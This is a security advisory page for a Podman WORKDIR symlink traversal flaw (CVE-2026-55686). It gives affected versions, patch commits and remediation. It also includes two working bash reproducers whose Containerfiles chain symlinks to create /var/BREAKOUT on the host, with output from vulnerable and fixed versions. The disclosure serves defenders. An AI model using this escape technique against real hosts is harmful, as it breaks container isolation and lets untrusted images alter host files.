CVE-2026-55686: Podman: WORKDIR symlink traversal vulnerability

Published Jun 18, 2026
·
Updated

Summary

Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.

Patch

https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0

Details

This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)

PoC

The reproducer script test1.bash demonstrates the vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /var/BREAKOUT as current working directory.

The reproducer script test2.bash demonstrates the same vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /usr/local as current working directory.

The reproducer script test2.bash shows that the working directory can be different from the breakout directory.

Reproducer test1.bash

#!/bin/bash set -o errexit set -o nounset

if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi

dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine RUN cd / && ln -s ../../../../../../../var symlink USER 1234:1234 WORKDIR /symlink/BREAKOUT CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF

podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT

Reproducer test2.bash

#!/bin/bash set -o errexit set -o nounset

if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi

dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine ARG breakoutdirname=/var ARG breakoutbasename=BREAKOUT ARG producepwd=/usr/local RUN mkdir -p /0/1/2/3 && \ cd /0 && \ ln -s 1/2/3 symlink1 && \ mkdir -p /0/1/symlink2/${breakoutdirname} && \ cd /0/1/symlink2/${breakoutdirname} && \ ln -s ${producepwd} ${breakoutbasename} RUN cd / && ln -s ../../../../../../.. symlink2 USER 1234:1234 WORKDIR /0/symlink1/../../symlink2/${breakoutdirname}/${breakoutbasename} CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF

podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT

Vulnerable:

podman 5.7.0 using Fedora CoreOS 43.20251120.3.0

root@localhost:~# bash test1.bash 38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80 current working directory: /var/BREAKOUT drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT root@localhost:~# rmdir /var/BREAKOUT/ root@localhost:~# bash test2.bash c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9 current working directory: /usr/local drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT

Not vulnerable:

podman 5.7.1 using Fedora CoreOS 43.20260119.1.1

root@localhost:~# bash test1.bash 0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788 current working directory: /var/BREAKOUT ls: cannot access '/var/BREAKOUT': No such file or directory root@localhost:~# bash test2.bash 568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60 current working directory: /usr/local ls: cannot access '/var/BREAKOUT': No such file or directory

Credits

We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.

Other sources

Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.

MITRE

Affected Software

4 affected componentsFixes available
go/github.com/containers/podman/v3<=3.4.7
go/github.com/containers/podman/v4<=4.9.5
go/github.com/containers/podman/v5<=5.7.0
5.7.1
Podman Project Podman>=3.0.0<5.7.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/containers/podman/v5 to a version that resolves this vulnerability.

    Fixed in 5.7.1
  2. Upgrade

    Upgrade podman to a version that resolves this vulnerability.

    Fixed in 5.7.1Patch 7ce2e00ab140c11a68301f0b161f51984131a858
  3. Upgrade

    Upgrade podman to a version that resolves this vulnerability.

    Fixed in 5.7.1Patch d18e44e9abb3bf5b7294aa70806e1368fdddfdd0

Event History

Jun 18, 2026
Advisory Published
via GitHub·02:28 PM
Data Sourced
via GitHub·02:28 PM
DescriptionSeverityWeaknessAffected Software
Jun 26, 2026
CVE Published
via MITRE·04:30 PM
Data Sourced
via MITRE·04:30 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-55686?

The severity of CVE-2026-55686 is medium with a CVSS score of 5.3.

2

How do I fix CVE-2026-55686?

To mitigate CVE-2026-55686, avoid running untrusted container images with WORKDIR paths that include symlinks.

3

What impact does CVE-2026-55686 have on my system?

CVE-2026-55686 can potentially create directories or affect ownership on the host filesystem when malicious container images are executed.

4

Which software is affected by CVE-2026-55686?

CVE-2026-55686 affects versions v3, v4, and v5 of the Podman container management tool.

5

What type of issue does CVE-2026-55686 represent?

CVE-2026-55686 is classified as a Race Condition vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203